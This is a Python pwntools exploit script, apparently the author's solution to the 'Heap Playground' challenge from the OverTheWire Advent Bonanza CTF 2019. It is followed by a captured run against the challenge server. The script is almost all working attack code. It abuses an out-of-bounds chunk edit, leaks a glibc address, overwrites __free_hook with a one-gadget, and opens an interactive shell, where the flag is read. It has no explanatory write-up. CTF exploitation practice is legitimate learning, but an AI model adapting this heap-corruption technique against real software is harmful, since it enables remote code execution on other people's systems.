Heap Playground exploit - OverTheWire Advent Bonanza CTF 2019

xpl.py

#!/usr/bin/env python3
# coding: utf-8
from pwn import *

context.terminal = ['tmux', 'sp', '-h']
#context.log_level = 'DEBUG'

HOST = "3.93.128.89"
PORT = 1215

elf  = ELF('./heap_playground')
libc = ELF('./libc-2.27.so')

def create_chunk(size, content):
    io.recvuntil("Choice: ")
    io.sendline("1")
    io.recvuntil("chunk: ")
    io.sendline(str(size))
    io.recvuntil("Content: ")
    io.sendline(content)

def delete_chunk(chunk):
    io.recvuntil("Choice: ")
    io.sendline("2")
    io.recvuntil("chunk: ")
    io.sendline(str(chunk))

def print_chunk(chunk):
    io.recvuntil("Choice: ")
    io.sendline("3")
    io.recvuntil("chunk: ")
    io.sendline(str(chunk))

def edit_chunk(chunk, idx, char):
    io.recvuntil("Choice: ")
    io.sendline("4")
    io.recvuntil("chunk: ")
    io.sendline(str(chunk))
    io.recvuntil("edit: ")
    io.sendline(str(idx))
    io.recvuntil("Character: ")
    io.sendline(char)

io = remote(HOST, PORT)

create_chunk(0x50, "")      # 1
create_chunk(1, "")         # 2

# Chunk size: 80 <--> Input size: 49 <--> Offset: -44
create_chunk(49, "A" * 49)  # 3

edit_chunk(3, 2147483648, b"\xff")
edit_chunk(2, 0x14, b"\xff")

create_chunk(0x90, "")      # 4
for _ in range(12):         # 5 - 16
    create_chunk(0x90, "")

for i in range(11, 4, -1):
    delete_chunk(i)

delete_chunk(4)             # Send chunk to unsorted bin  

for i in range(16):         # Overwrite adjacent bytes
    edit_chunk(3, 48 + i, "B")

print_chunk(3)
io.recvuntil("B" * 16)
libc_leak = u64(io.recvuntil("\n1. Create", drop = True).ljust(8, b"\x00"))
libc.address = libc_leak - 0x3ebca0
free_hook = libc.address + 0x3ed8e8

log.success("Leaked GLIBC address: " + hex(libc_leak))
log.info("GLIBC base address: " + hex(libc.address))
log.info("__free_hook@@GLIBC address: " + hex(free_hook))
log.info("One gadget address: " + hex(libc.address + 0x4f322))

for i in range(6):
    edit_chunk(3, 0xf0 + i, p64(free_hook - 0x10)[i:i + 1])

create_chunk(0x90, "")
create_chunk(0x90, p64(libc.address + 0x4f322))

delete_chunk(1)

io.interactive()
io.close()

'''
kaorz@ubuntu:~/Chall11$ ./xpl.py 
[*] 'heap_playground'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] 'libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 3.93.128.89 on port 1215: Done
[+] Leaked GLIBC address: 0x7f06c0d9cca0
[*] GLIBC base address: 0x7f06c09b1000
[*] __free_hook@@GLIBC address: 0x7f06c0d9e8e8
[*] Switching to interactive mode
$ ls
flag
heap_playground
$ cat flag
AOTW{d0_y0u_kn0w_th3_l3bl4nc14n_p4r4d0X}$ 
[*] Interrupted
[*] Closed connection to 3.93.128.89 port 1215
'''